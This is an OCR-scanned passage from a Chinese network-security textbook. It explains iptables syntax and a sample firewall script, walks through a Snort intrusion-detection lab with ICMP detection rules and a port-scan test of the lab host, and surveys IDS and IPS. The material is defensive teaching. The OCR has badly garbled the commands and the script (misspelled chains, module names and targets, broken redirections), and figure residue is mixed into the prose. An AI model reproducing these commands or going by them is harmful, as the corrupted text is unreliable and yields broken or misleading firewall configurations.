数据 包 经 过 filter 表 的 过 程 如 图 5-46 所 示 。 


选择 FORWARD 
aug c HE (romani) Va 
INPUT 链 OUTPUT $ 


本 地 处 理 进程 


图 5-46 数据 包 经 过 filter 表 的 过 程 


通过 使 用 iptables 命令 建立 过 滤 规 则 ,并 将 这 些 规则 添加 到 内 核 空间 过 滤 表 内 的 链 中 。 
添加 、 删 除 和 修改 规则 的 命令 语法 如 下 : 


# iptables [-t table] command [match] [target] 


(1) table 

[-t table] # 3 种 可 用 的 表 选 项 : filter; nat 和 mangle。 该 选项 不 是 必需 的 ,如 未 指定 ， 
则 filter 表 作为 默认 表 。 

filter 表 用 于 一 般 的 数据 包 过 滤 ,包含 INPUT .OUTPUT fil FORWARD ££, 

nat 表 用 于 要 转发 的 数据 包 , 包 含 PREROUTING $ OUTPUT 链 和 POSTROUTING 链 。 

mangle 表 用 于 数据 包 及 其 头 部 的 更 改 , 包 含 PREROUTING fil OUTPUT 链 。 

(2) command 

command 是 iptables 命令 中 最 重要 的 部 分 . 它 告诉 iptables 命令 要 进行 的 操作 ,如 插入 
规则 、 删 除 规则 ,将 规则 添加 到 链 尾 等 。 

常用 的 一 些 命令 见 表 5-15. 

示例 : 


# iptables -A INEUT - s 192.168.0.10 —j ACCEPT 


该 命令 将 一 条 规则 附加 到 INPUT 链 的 末尾 ,确定 来 自 源 地 址 192. 168. 0. 10 的 数据 包 
可 以 ACCEPT。 
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表 5-15 iptables 常用 命令 


操作 命令 功 能 

-A 或 -append 该 命令 将 一 条 规则 附加 到 链 的 末尾 

ee 通过 用 -D 指定 要 匹配 的 规则 或 者 指定 规则 在 链 中 的 位 置 编号 ,该 命 
” 令 从 链 中 删除 该 规则 

EN 该 命令 设置 链 的 默认 目标 , 即 策略 。 所 有 与 链 中 任何 规则 都 不 匹配 
baia 的 数据 包 都 将 被 强制 使 用 此 链 的 策略 

-N 3i—new-chain 用 命令 中 所 指定 的 名 称 创建 一 个 新 链 

prem 如 果 指 定 链 名 ,该 命令 删除 链 中 的 所 有 规则 ,如 果 未 指定 链 名 ,该 命 
ia 令 删除 所 有 链 中 的 所 有 规则 。 此 参数 用 于 快速 清除 

-L -list 列 出 指定 链 中 的 所 有 规则 


# iptables - D INEUT - - dport 80 - j DROP 
该 命令 从 INPUT 链 删除 规则 。 
# iptables - P INPUT DROP 


该 命令 将 INPUT 链 的 默认 目标 指定 为 DROP。 这 将 丢弃 所 有 与 INPUT 链 中 任何 规 
则 都 不 匹配 的 数据 包 。 
(3) match 
match 部 分 指定 数据 包 与 规则 匹配 所 应 具有 的 特征 ,比如 源 IP 地 址 、 目 的 IP 地址 、 协 
议 等 。 
常用 的 规则 匹配 器 见 表 5-16。 
表 5-16 iptables 常用 的 规则 匹配 器 


$ 数 x; 能 
该 通用 协议 匹配 用 于 检查 某 些 特定 协议 。 协 议 示 例 有 TCP, UDP, ICMP, ME 
-Pp 或 -protocol 分 隔 的 任何 这 3 种 协议 的 组 合 列表 以 及 ALL( 用 于 所 有 协议 )。ALL 是 默认 匹 


配 。 可 以 使 用 ! 符 号 , 它 表示 不 与 该 项 匹配 

该 源 匹 配 用 于 根据 数据 包 的 源 IP 地 址 来 与 它们 匹配 。 该 匹配 还 允许 对 某 一 范 
-s 或 一 source 围 内 的 TP 地 址 进行 匹配 ,可 以 使 用 ! 符 号 ,表示 不 与 该 项 匹配 。 默 认 源 匹配 与 所 
有 IP 地址 匹配 

该 目的 地 匹配 用 于 根据 数据 包 的 目的 地 IP 地 址 来 与 它们 匹配 。 该 匹配 还 允许 
对 某 一 范围 内 TP 地 址 进行 匹配 ,可 以 使 用 ! 符 号 ,表示 不 与 该 项 匹配 


-d 或 一 destination 


示例 : 


# iptables - A INFUT - p TCP 
# iptables - A INEUT - p !IOvP 

# iptables - A OUTEUT - s 192.168.0.10 
# iptables - A OUTEUT - s !210.43.1.100 
# iptables - A INEUT - d 192.168.1.1 

# iptables - A OUTEUT - d !210.43.1.100 
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(4) target 
目标 是 由 规则 指定 的 操作 ,常用 的 一 些 目标 和 功能 说 明 见 表 5-17. 


表 5-17 iptables 常用 的 目标 


目 标 功 能 
当 数 据 包 与 具有 ACCEPT 目标 的 规则 完全 匹配 时 ,会 被 接受 (允许 它 前 往 目 的 
ACCEPT 地 ) ,并 且 它 将 停止 遍历 链 ( 虽 然 该 数据 包 可 能 遍历 另 一 个 表 中 的 其 他 链 ,并 且 有 


可 能 在 那里 被 丢弃 )。 该 目标 被 指定 为 -j ACCEPT 


当 数 据 包 与 具有 DROP 目标 的 规则 完全 匹配 时 ,会 阻塞 该 数据 包 , 并 且 不 对 它 做 


PROP 进一步 处 理 。 该 目标 被 指定 为 j DROP 


该 目标 的 工作 方式 与 DROP 目标 相同 ,但 它 比 DROP 好 。 和 DROP 不 同 ， 
REJECT REJECT 不 会 在 服务 器 和 客户 机 上 留 下 死 套 接 字 。 另 外 , REJECT 将 错误 消息 
发 回 给 数据 包 的 发 送 方 。 该 目标 被 指定 为 -j REJECT 


在 规则 中 设置 的 RETURN 目标 让 与 该 规则 匹配 的 数据 包 停止 遍历 包含 该 规则 
RETURN 的 链 。 如 果 链 是 如 INPUT 之 类 的 主 链 , 则 使 用 该 链 的 默认 策略 处 理 数据 包 。 它 
被 指定 为 -jj RETURN 


(5) 保存 规则 
用 上 述 方法 建立 的 规则 被 保存 到 内 核 中 ,这 些 规则 在 系统 重启 时 将 丢失 。 如 果 希 望 在 


系统 重启 后 还 能 使 用 这 些 规则 , 则 必须 使 用 iptables-save 命令 将 规则 保存 到 某 个 文件 
(iptables-script) 中 。 


# iptables- save> iptables- script 
执行 如 上 命令 后 数据 包 过 滤 表 中 的 所 有 规则 都 被 保存 到 iptables-script 文件 中 。 当 系 


统 重启 时 ,可 以 执行 iptables-restore iptables-script 命令 将 规则 从 文件 iptables-script 中 恢 
复 到 内 核 空间 的 数据 包 过 滤 表 中 。 


2. Linux 防火 墙 的 配置 
创建 iptables_example. sh 文件 ,内容 如 下 所 示 ,执行 如 下 两 条 命令 : 


# service iptables start // 启 动 iptables 

# sh iptables example.sh // 配 置 防火 墙 的 过 滤 规 则 
下 面 是 对 iptables_example. sh 文件 的 说 明 。 

第 3 行 : 开启 内 核对 数据 包 的 转发 功能 。 

第 6 行 : 开启 内 核对 DOSCsyn-flood) 攻 击 的 防范 功能 。 

第 8.9 行 : eth0(ppp0) 外 网 接口 .如 果 通 过 宽带 带动 局 域 网 上 网 , 则 用 ppp0。 
第 10 行 : ethl 内 网 接口 。 

第 16 一 24 行 : 加 载 模块 。 

第 26—30 ÍF: WZ filter, nat, mangle 表 中 的 规则 。 

第 32 一 37 行 : 对 filter 和 nat 表 设 置 默认 过 滤 规 则 。 

第 44—47 行 : 允许 dns 连接 。 

第 57—65 fr. 根据 指定 端口 和 IP 地 址 来 过 滤 掉 数据 包 。 
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第 67 行 : 通过 字符 串 匹配 来 阻止 内 网 用 户 访问 一 些 网 站 (fund 指 包含 该 单词 的 网 页 
受阻 )。 

第 69—73 ÍF: 根据 是 否 是 通过 宽带 (ppp0) 带 动 局 域 网 上 网 来 选择 相应 的 规则 。 

第 80,81 47 : 对 局 域 网 内 计算 机 的 MAC 和 IP 地 址 进行 绑 定 ,可 以 防止 内 网 用 户 随 意 
修改 IP 地 址 。 

iptables example. sh 文件 内 容 如 下 。 


# !/bin/bash 


1 
2 
3 edho D /proc/sys/net/ipv4/ip forward 

4 eco 1» /proc/sys/net/ipv4/iam echo ignore broadcasts 
5 echo D> /proc/sys/net/ipv4/iam echo ignore all 

6 echo D /proc/sys/net/ipv4/tep syncookies 

7 

8 

9 


# INET IF- "pppO" 
INET IF- "ethO" 
10 IAN IF-"eth]" 
1l IAN IP RANE- "192.168.0.0/24" 
12 IPI-"/sbin/iptables" 
13 TC- "/sbin/tc" 
14 MODPROBE= "/sbin/modprcbe" 


16 $MODPRŒE ip tables 

17 SMODPRORE iptable nat 

18 $MODPRCFE ip nat ftp 

19 $MODPRŒE ip nat irc 

20 $ MODPRŒE ipt mark 

21 $MODPROFE ip conntrack 

22 $MODPROFE ip conntrack ftp 
23 S$MDDPROEE ip conntrack irc 
24 $MODPROBE ipt MASQUERATE 


26 for TABIE in filter nat mangle ; do 
27 SIPT-t$ TMHHE-F 

28 SIPT-t$ TMBIE-X 

29 S$SIPT-t$ TMHIE-Z 

30 done 


32 $IPT-P INEUT DROP 

33 $IPT- P OUTPUT ACCEPT 

34 $IPT-P FORWARD IROP 

35 $IPT-t nat -P PREROUTING ACCEPT 
36 $IPT-t nat -P OUTPUT ACCEPT 

3] $IPT-t nat -P BOSTROUTING ACCEPT 
38 


39 # 拒 绝 互联 网 用 户 访问 内 网 

40 $IPT-AINEUT-i $INET IF -m state -- state RELATED, ESTABLISHED — j ACCEPT 
41 $IPT-A INEUT -p tcp —— dport 22 -j ACET 

42 $IPT-A INPUT -i $INET IF —m state —- state NEW, INVALID — j DROP 
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for INS in $ (grep ^n /etc/resolv.conf| awk ' [print $ 2)'); do 
$ IPT -A INPUT -p tcp -s $ INS - - sport damain - j ACCEPT 
$ IPT -A INPUT —p udp - s $ INS -- sport damain - j ACCEPT 
done 


# anti bad scaning 
SIPT-AINEUT-i $ INET IF -p tcp - - tcp- flags ALL FIN,URG, PSH -j DROP 
$IPT-AINEUT-i $INET IF -p tcp - - top- flags ALL ALL - j DROP 
$IPT-AINEUT-i $ INET IF -p tcp - - to- flags ALL SYN, FST,ACK, FIN,UFG - j DROP 
$ IPT -A INPUT -i $ INET IF -p tcp - - top- flags ALL NONE. - j DROP 

$ IPT -A INPUT - i $INET IF -p tcp - - tcp- flags SYN,RST SYN,RST — j DROP 

$ IPT -A INPUT - i $INET IF -p tcp - - top- flags SYN,FIN SYN,FIN — j DROP 


$ IPT - A INPUT -p tcp - - sport 1080 - j DROP 
$ IPT - A INPUT -p tcp - - sport 1090 - j DROP 
$ IPT -A INPUT -i $ INET IF — s 60.2.139.192/27 - j DROP 
$ IPT -A INPUT - i $ INET IF - s 60.3.246.162/32 - j DROP 


$ IPT - A FORWARD - p tcp - - sport 1080 - j DROP 
$ IPT - A FORWARD - p tcp - - dport 1080 -j DROP 
$ IPT - A FORWARD - s 60.2.139.192/27 - j DROP 
$ IPT - A FORWARD - d 60.2.139.192/27 - j DROP 


$ IPT - A FORWARD -m string - - algo hm - - string "fund" - j DROP 


if [$ INET IF = "pp?" ] ; then 

$ IPT - t nat -A POSTROUTING -o $ INET IF- s $1AN IP RANGE - j MASQUERADE 

else 

$ IPT -t mat ~ A FOSIROUTING -o $ INET IF -s $IAN IP RNE -j NT -- to- sare 1.2.3.4 
fi 


#no limit 
$ IPT - A FORWARD - s 192.168.0.18 -m mac - - mac- sourœ 00- 16- EC- A8- F1- A5 - j ACCEPT 
$ IPT -A FORWARD -d 192.168.0.18 - j ACCEPT 


#MAC.IP 地 址 绑 定 
$ IPT - A FORWARD - s 192.168.0.2 -m mac - - mac- source 00- 18- F3- 30- 86- 45 - j ACCEPT 
$ IPT - A FORWARD - s 192.168.0.3 -m mac - - mac- source 00- 15- 60- B9- 94- 8E - j ACCEPT 


$ IPT - A FORWARD - d 192.168.0.2 - j ACCEPT 
$ IPT - A FORWARD - d 192.168.0.3 - j ACCEPT 


5.8 入 侵 检 测 技 术 


网 络 安全 风险 系数 在 不 断 提高 ,作为 主要 安全 防范 手段 的 防火 墙 ,在 很 多 方面 存在 弱 
点 ,比如 不 能 防止 已 感染 病毒 的 文件 .无 法 防止 来 自 内 网 的 攻击 等 。 因 此 防火 墙 已 经 不 能 满 
足 人 们 对 网 络 安全 的 需求 。 而 IDSCIntrusion Detection System) 能 够 帮助 网 络 系统 迅速 发 
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现 攻 击 ,IDS 可 以 自动 地 监控 网 络 的 数据 流 、 主 机 的 日 志 等 ,对 可 疑 的 事件 给 予 检测 和 响应 。 


5.8.1 实例 : 使 用 Snort 进行 入 侵 检测 


1. 实验 环境 
实验 环境 如 图 5-47 所 示 。 
2. 实验 步骤 


第 1 步 : 在 192. 168. 10.5 上 安装 Snort。 到 io cio, 168195 


http://www. snort. org/ E F ZX snort-2. 8. 6. tar. gz 

和 snortrules-pr-2. 4. tar. gz。 安 装 Snort 之 前 先 下 名 — y 
载 并 且 安 装 libpcap-devel, pere 和 pere-devel, 44 bro en 
snort-2. 8. 6. tar. gz 解压 后 进入 snort-2. 8.6, 然 后 图 5-47 实验 环境 


依次 执行 如 下 命令 : 


[root@ localhost snort- 2.8.6]# ./configure 

[root localhost snort- 2.8.6]# make 

[root localhost snort- 2.8.6]# make install 

[root localhost snort- 2.8.6]# mkdir - p /etc/snort/rules 
[root@ localhost snort- 2.8.6]# cp etc/* .conf /etc/snort 
[root localhost snort- 2.8.6]# cp etc/ * .config /etc/snort 
[root localhost snort- 2.8.6]4 cp etc/unicode.map /etc/snort 
[root@ localhost snort- 2.8.6]4 mkdir /var/log/snort 


将 snortrules-pr-2. 4. tar. gz 解压 后 ,将 其 中 的 规则 文件 全 部 复制 到 /etc/snort/rules 
下 。 编 辑 /etc/snort/snort. conf 文件 ,将 var RULE_PATH ../rules i Jg var RULE_ 
PATH/etc/snort/rules。 编 辑 /etc/snort/rules/icemp. rules 文件 ,如 图 5-48 所 示 。 


lemp.rules (/etc/snort/rules) - gedit 


SHO Mio HEV RS IRD IHD LT 
O iemprues x |O snortcont x|Dscanrues x. TO snmores x 


* These rules are potentially bad IOWP traffic. They include most of the 
252 ICMP scanning tools and other "RAD" ICMP traffic (Such as redirect host) 
BA 

Z?# Other ICMP rules are included in icmp-info. rules 

2 


Slalert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP ISS Pinger"; itype:; content;-ISSPHOND'; 

depth:32; reference:arachnids,158; classtype;attempted-recon; 5id:465; revi3;) 

GLalert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP L3retriever Ping'; icode:6; itype:8; 
Content;"ABCDEFGHIJKLMNOPORSTUVMABCDEFGHI*; depth:32; reference;arachnids,311; classtype:attempted-recon; 
5id:466; revi4;) 


GEJE] 插入 


图 5-48 ”编辑 /etc/snort/rules/icmp. rules 文件 
第 2 步 : 在 192.168.10.5 上 启动 Snort 进行 人 侵 检 测 ,执行 的 命令 如 下 : 


[roc localhost ~ ]# sort -i ethl - c /etc/snort/snort.oonf -A fast - 1 /var/log/snort/ 


$8 3 3p. Æ 192.168. 10. 1. 上 的 终端 窗口 中 执行 ping 192. 168. 10.5 命令 ,如 图 5-49 所 
示 ,然后 再 使 用 端口 扫描 工具 对 192. 168. 10. 5 进行 端口 扫描 ,如 图 5-50 所 示 。 
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TT inl xi 
Hile Options Help 


Ei 


Sep 192 . 168. 10 . 5 F Userange | 192 . 165. 10. 5 EE] 
I Use group of ranges 

Selectpots range: [óssea - [dsa [V Use defauk ports list 

T Use ports ranges kst 

S Ei 192.168.10.5 Forts (scanned 67 of 6T, opened: | closed: 68) 


— 
[Scan complete 


图 5-49 ”执行 ping 192. 168. 10. 5 命令 图 5-50 对 192. 168. 10. 5 进行 端口 扫描 


第 4 步 : 在 192.168.10.5 上 分 析 检 测 数据 ,如 图 5-51 所 示 , 前 4 行 对 应 于 第 3 步 的 
ping 命令 ,第 6 行 表明 192. 168. 10. 1 对 192. 168. 10. 5 进行 了 端口 扫描 。 


alert (var/iog/enort) - gedit 

Hmm Abe FEV PRO TAD ZEO WE 

Dsnortconr x |O scannes x |0 snmonies x 

103/22-15:49:29.549525 Ue*] (1 20000 37 TEST:1CMP PINTE] (Priority: 0] {ICMP} 192.198.10.1 -> 192.168. 10.5 

203/22-15:49: 30.551404 [**] [1:2000f: 3] TEST:ICMP Ping [+A (Priority: 0] {ICMP} 192.168. > 1 

303/22.15:49:31.552594 [**] [1:200] TEST:ICMP Ping [ (Priority: 0] {ICMP} 192.156. 
1 7 riority: 0] {ICMP} 192. 158. 


Ec) CPrdority: o) (ION) 192.108.19.1 -> 192.168, 19.5 
] (goresen TA can [**] [Priority: 3] (PROTO:285) 192.168.10.1 -> 192. 168. 10.5 
703/22.15:50:22.51017 [**] [1:1418 eji sme request Te LSe] frasttricati2n: Attempted Information Leak] [Priori ty: 2) 


TID 
d: 


**] (Classification: Attempted Information Leak] (Priority: 2] 


[**] (Classification: Attempted Information Leak] [Priority: 2] 


a22 15:50:29.972564 C (1:1418:11] SAP request top 19H [Classifscation: Attempted Information Leak] [prtortty 2) 
{TCP} 192.188.10.1:1674 -> 192 168.10.5:18 日 


CELH HO. 


图 5-51 分 析 检 测 数据 


5.8.2 入 侵 检 测 技术 概述 


和信 侵 检测 (Intrusion Detection) 技 术 是 一 种 动态 的 网 络 检测 技术 ,主要 用 于 识别 对 计算 
机 和 网 络 资源 的 恶意 使 用 行为 .包括 来 自 外 部 用 户 的 入 侵 行 为 和 内 部 用 户 的 未 经 授权 活动 。 
一 旦 发 现 网 络 入 侵 现象 , 则 做 出 适当 的 反应 。 对 于 正在 进行 的 网 络 攻 击 . 则 采取 适当 的 方法 
来 阻 断 攻击 (与 防火 墙 联动 ) ,以 减少 系统 损失 。 对 于 已 经 发 生 的 网 络 攻击 , 则 应 通过 分 析 日 
志 记 录 找 到 发 生 攻 击 的 原因 和 入 侵 者 的 踪迹 ， ae 

责任 的 依据 。 us 算 机 网 络 系统 中 的 若干 关键 点 搜集 信息 ,并 分 析 这 些 信 息 
网 络 中 是 否 有 违反 安全 策略 的 行为 和 唱 到 袭击 的 迹象 。 

a PPS 
道 安全 闻 门 ,在 不 影响 网 络 性 能 的 情况 下 能 对 网 络 进行 监测 ,提供 对 内 部 攻击 、 外 部 攻击 和 
误 操作 的 实时 保护 。 

IDS 是 安全 审计 中 的 核心 技术 之 一 ,是 一 种 主动 保护 自己 的 网 络 和 系统 免 遭 非法 攻击 
的 网 络 安全 技术 。 它 从 计算 机 系统 或 者 网 络 中 搜集 、 分 析 信 息 ,检测 任何 企图 破坏 计算 机 资 
源 的 完整 性 .机密 性 和 可 用 性 的 行为 , 即 查看 是 否 有 违反 安全 策略 的 行为 和 遭 到 攻击 的 迹 
象 ,并 做 出 相应 的 反应 。 
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1. IDS 的 工作 原理 


每 个 子 网 有 一 台 入 侵 检测 主机 ,以 监视 所 有 的 网 络 活动 ,一 旦 发 现 人 侵 则 立即 报警 , 同 
时 记录 入 侵 信息 。 

目前 ,IDS 分 析 及 检测 入 侵 一 般 通 过 这 些 手 段 来 实行 : 特征 库 匹 配 、 基 于 统计 的 分 析 和 
完整 性 分 析 。 其 中 前 两 种 方法 用 于 实时 的 入 侵 检 测 ,而 完整 性 分 析 则 用 于 事后 分 析 。 

实时 入 侵 检 测 在 网 络 连 接 过 程 中 进行 ,系统 根据 用 户 的 历史 行为 模型 .存储 在 计算 机 中 
的 专家 知识 以 及 神经 网 络 模型 对 用 户 当前 的 操作 进行 判断 ,一 旦 发 现 人 侵 迹 象 立即 断 开 和 人 
侵 者 与 主机 的 连接 ,并 搜集 证 据 和 实施 数据 恢复 。 

事后 人 侵 检测 由 网 络 管理 人 员 进 行 , 他 们 具有 网 络 安全 的 专业 知识 ,根据 计算 机 系统 对 
用 户 操作 所 做 的 历史 审计 记录 判断 用 户 是 否 具 有 入侵 行为 ,如 果 有 就 断 开 连 接 ,并 记录 入 侵 
证 据 和 进行 数据 恢复 。 事 后 入侵 检 测 是 管理 员 定期 或 不 定期 进行 的 ,不 具有 实时 性 ,因此 防 
御 入 侵 的 能 力 不 如 实时 入 侵 检测 系统 。 


2. IDS 的 主要 功能 


IDS 的 主要 功能 如 下 。 

(1) 识别 黑客 常用 入 侵 与 攻击 手段 

入 侵 检 测 技 术 通 过 分 析 各 种 攻击 的 特征 ,可 以 全 面 快速 地 识别 探测 攻击 、 拒 绝 服 务 攻 
击 ,缓冲 区 溢出 攻击 等 各 种 常用 攻击 手段 ,并 做 相应 的 措施 。 

(2) 监控 网 络 异常 通信 

IDS 系统 会 对 网 络 中 不 正常 的 通信 连接 做 出 反应 ,保证 网 络 通 信 的 合法 性 ;任何 不 符合 
网 络 安全 策略 的 网 络 数据 都 会 被 TDS 侦 测 到 并 警告 。 

(3) 鉴别 对 系统 漏洞 及 后 门 的 利用 

IDS 系统 一 般 带 有 系统 漏洞 及 后 门 的 详细 信息 ,通过 对 网 络 数据 包 连 接 的 方式 .连接 端 
口 以 及 连接 中 特定 的 内 容 等 特征 分 析 , 可 以 有 效 地 发 现 网 络 通信 中 针对 系统 漏洞 进行 的 非 
法 行为 。 

(4) 完善 网 络 安全 管理 

IDS 通过 对 攻击 或 和 侵 的 检测 及 反应 ,可 以 有 效 地 发 现 和 防止 大 部 分 的 网 络 犯罪 行为 ， 
给 网 络 安全 管理 提供 了 一 个 集中 方便 ` 有 效 的 工具 。 使 用 IDS 系统 的 监测 、 统 计 分 析 、 报 
表 功 能 ,可 以 进一步 完善 网 络 管理 。 

对 一 个 成 功 的 入侵 检测 系统 来 讲 , 它 不 但 可 以 使 系统 管理 员 时 刻 了 解 网 络 系统 (包括 程 
FF. 文件 和 硬件 设备 等 ) 的 任何 变更 ,还 能 给 网 络 安全 策略 的 制定 提供 指南 。 更 为 重要 的 一 
点 是 , 它 应 该 管理 .配置 简单 ,从 而 使 非 专业 人 员 能 够 非常 容易 地 获得 网 络 安 全 。 和 人 侵 检测 
的 规模 还 应 根据 网 络 威胁 .系统 构造 和 安全 需求 的 改变 而 改变 。 和 人 侵 检测 系统 在 发 现 攻 击 
后 ,会 及 时 做 出 响应 ,包括 切断 网 络 连接 .记录 事件 和 报警 等 。 


3. IDS 的 分 类 


根据 原始 数据 的 来 源 ,IDS 可 以 分 为 基于 主机 的 入 侵 检测 和 基于 网 络 的 入 侵 检 测 。 
CD 基于 主机 的 入 侵 检测 (HIDS) : 基于 主机 的 入 侵 检 测 始 于 20 世纪 80 年 代 早期 , 它 
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比较 新 的 记录 条 目 与 攻击 特征 ,并 检查 不 应 该 改变 的 系统 文件 的 校 验 , 以 及 分 析 系 统 是 否 被 
侵入 或 者 被 攻击 。 如 果 发 现 与 攻击 模式 匹配 , 则 HIDS 会 向 管理 员 报 警 或 者 以 其 他 方式 响 
应 。 主 要 目的 是 在 事件 发 生 后 提供 足够 的 分 析 来 阻止 进一步 的 攻击 。HIDS 网 络 如 图 5-52 
Bim. 


HIDS HIDS HIDS 


HIDS HIDS HIDS 


图 5-52 HIDS 网 络 


(2) 基于 网 络 的 入侵 检测 (NIDS): 基于 网 络 的 IDS 利用 工作 在 混杂 模式 下 的 网 卡 实时 
监视 和 分 析 所 有 通过 共享 式 网 络 的 数据 包 。 一 旦 检测 到 攻击 ,响应 模块 按照 配置 对 攻击 做 
出 反应 。 通 常 这 些 反应 包括 发 送 电 子 邮 件 、 记 录 日 志 , 切 断 网 络 连 接 等 。NIDS 网 络 如 图 5-53 
所 示 。 
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图 5-53 NIDS 网 络 


根据 检测 原理 ,IDS 可 以 分 为 异常 人 侵 检测 和 误 用 入 侵 检 测 。 

CD 异常 入侵 检测 : 根据 异常 行为 和 使 用 计算 机 资源 的 情况 来 检测 人 侵 。 
@ 误 用 入 侵 检测 : 利用 已 知 系统 和 应 用 软件 的 弱点 攻击 模式 来 检测 入 侵 。 
根据 工作 方式 ,IDS 可 以 分 为 离线 检测 和 在 线 检测 。 


4. 入 侵 检 测 目 前 所 存在 的 问题 

IDS 存在 的 主要 问题 有 : 误 / 漏 报 率 高 .没有 主动 防御 能 力 。 

(1) 误 / 漏 报 率 高 

IDS 常用 的 检测 方法 有 特征 检测 .异常 检测 .状态 检测 .协议 分 析 等 。 而 这 些 检测 方式 
都 存在 缺陷 。 比 如 异常 检测 通常 采用 统计 方法 来 进行 检测 ,而 统计 方法 中 的 阅 值 难以 有 效 
确定 , 太 小 的 值 会 产生 大 量 的 误 报 , 太 大 的 值 又 会 产生 大 量 的 漏 报 。 而 在 协议 分 析 的 检测 方 
式 中 ,一 般 的 IDS 只 简单 地 处 理 常用 的 如 HTTP、FTP、SMTP 等 协议 报 文 ,其 余 大 量 的 协 
议 报 文 完全 可 能 造成 IDS 漏 报 。 


(2) 没有 主动 防御 能 力 


IDS 技术 采用 预 设置 .特征 分 析 的 工作 原理 ,所 以 检测 规则 的 更 新 总 是 落后 于 攻击 手段 
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的 更 新 。 


5.9 人 入侵 防 御 技术 


网 络 人 侵 事 件 越 来 越 多 ,黑客 攻击 水 平 逐渐 提高 ,计算 机 网 络 感 染病 毒 . 遭 受 攻击 的 速 
度 越 来 越 快 ,然而 在 受到 攻击 后 做 出 响应 的 时 间 不 断 滞 后。 传统 的 防火 墙 和 IDS 已 经 不 能 
很 好 地 解决 这 一 问题 ,因此 需要 引入 一 种 新 的 计算 机 安全 技术 : 入 侵 防 御 技术 。 该 技术 是 
在 应 用 层 的 内 容 检测 基础 上 加 上 主动 响应 和 过 滤 功 能 。 相 对 于 IDS 的 被 动 检测 及 误 报 等 
问题 ,该 技术 采取 积极 主动 的 措施 阻止 恶意 的 攻击 ,将 损失 降 到 更 小 。 

下 面 首 先 对 与 人 侵 防 御 技术 有 关 的 软件 和 技术 进行 研究 和 分 析 , 然 后 深入 研究 人 侵 防 
御 技 术 ,为 克服 集中 式 人 侵 防御 技术 带 来 的 缺陷 ,提出 一 种 新 的 入侵 防御 技术 : 负载 均衡 的 
分 布 式 人 侵 防 御 技术 。 

入 侵 检测 (IDS) 虽 然 已 经 在 市 场 上 存在 多 年 ,但 是 , 越 来 越 多 的 用 户 发 现 , 它 不 能 满足 
新 网 络 环境 下 对 安全 的 需求 。 

IDS 只 能 被 动 地 检测 攻击 ,而 不 能 主动 地 把 变化 莫 测 的 威胁 阻止 在 网 络 之 外 。 因 此 ,人 
们 迫切 地 需要 找到 一 种 主动 人 侵 防 护 解 决 方案 ,以 确保 企业 网 络 在 威胁 四 起 的 环境 下 正常 
运行 。 入 侵 防 御 系 统 (Intrusion Prevention System 或 Intrusion Detection Prevention, Bl 
IPS 或 IDP) 就 应 运 而 生 了 。IPS 是 一 种 智能 化 的 入 侵 检测 和 防御 产品 , 它 不 但 能 检测 入 侵 
的 发 生 , 而 且 能 通过 一 定 的 响应 方式 ,实时 地 中 止 入 侵 行 为 的 发 生 和 发 展 ,实时 地 保护 信息 
系统 不 受 实质 性 的 攻击 。IPS 使 得 IDS 和 防火 墙 走向 统一 。 

目前 比较 流行 的 网 络 级 安全 防范 措施 是 使 用 专业 防火 墙 和 入 侵 检 测 系 统 (IDS) 为 企业 
内 部 网 络 构筑 一 道 安 全 屏障 。 防 火 墙 可 以 有 效 地 阻止 恶意 数据 的 通过 ,而 IDS 则 主要 用 于 
恶意 数据 的 分 析 和 发 现 , 它 是 防火 墙 功 能 的 延续 。 两 者 联动 起 来 ,可 及 时 发 现 并 减缓 DOS. 
DDoS 攻击 ,减轻 攻击 所 造成 的 损失 。 

IPs 将 防火 墙 和 IDS 合 二 为 一 ,二 者 的 整合 大 幅度 地 提高 了 检测 和 阻止 网 络 攻击 的 效 
率 , 是 今后 网 络 安全 架构 的 一 种 发 展 趋势 。 


5.9.1 入 侵 防 御 技 术 概 述 


将 入 侵 防 御 技 术 应 用 到 具体 的 网 络 环境 中 后 ,就 形成 了 入 侵 防御 系统 一 一 IPS。 
1. IPS 的 原理 


入 侵 防 御 技术 是 在 入侵 检测 技术 的 基础 上 增加 了 主动 响应 的 功能 ,一 旦 发 现 有 攻击 行 
为 , 则 立即 响应 ,并且 主 动 切断 连接 。 

IPS 能 够 实时 检测 入 侵 、 阻 止 入 侵 的 原理 在 于 IPS 拥有 大 量 的 过 滤器 ,针对 不 同 的 攻击 
行为 ,IPS 需要 不 同 的 过 滤器 ,每 种 过 滤器 都 设 有 相应 的 过 滤 规 则 。 当 新 的 攻击 手段 被 发 现 
之 后 ,IPS 就 会 创建 一 个 新 的 过 滤器 。IPS 数据 包 处 理 引擎 可 以 深层 检查 数据 包 的 内 容 。 
如 果 有 攻击 者 利用 从 数据 链 路 层 到 应 用 层 的 漏洞 发 起 攻击 ,IPS 能 够 从 数据 流 中 检查 出 这 
些 攻 击 并 加 以 阻止 。 所 有 流 经 IPS 的 数据 包 将 依据 数据 包 中 的 包头 信息 ,如 源 IP 地 址 和 目 
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的 IP 地址、 端口 号 等 进行 分 类 。 每 种 过 滤器 负责 分 析 相 对 应 的 数据 包 。 通 过 检查 的 数据 包 
可 以 继续 前 进 , 包 含 恶 意 内 容 的 数据 包 就 会 被 丢弃 ,被 怀疑 的 数据 包 需 要 接受 进一步 的 
检查 。 


2. IPS 的 种 类 


(1) 基于 主机 的 IPS(HIPS) 

HIPS 能 够 保护 服务 器 的 安全 弱点 不 被 不 法 分 子 所 利用 ,能 够 利用 特征 和 行为 规则 检 
测 来 阻 断 对 服务 器 .主机 发 起 的 恶意 入侵 。 

HIPS 利用 由 包 过 滤 ,状态 包 检测 和 实时 入 侵 检 测 组 成 分 层 防护 体系 。 这 种 体系 能 够 
在 提供 合理 吞吐 率 的 前 提 下 ,最 大 限度 地 保护 服务 器 的 敏感 内 容 , 既 可 以 以 软件 形式 嵌入 到 
应 用 程序 对 操作 系统 的 调用 当中 ,通过 拦截 针对 操作 系统 的 可 疑 调 用 ,提供 对 主机 的 安全 防 
护 ; 也 可 以 以 更 改 操 作 系统 内 核 程序 的 方式 ,提供 比 操作 系统 更 加 严谨 的 安全 控制 机 制 。 

(2) 基于 网 络 的 IPSCNIPS) 

在 技术 上 ,NIPS 吸取 了 目前 NIDS 所 有 的 成 熟 技 术 ,包括 特征 匹配 .协议 分 析 和 蜡 常 检 
测 。NIPS 通过 检测 流 经 的 网 络 流量 ,提供 对 网 络 系统 的 安全 保护 。 由 于 采用 在 线 连接 方 
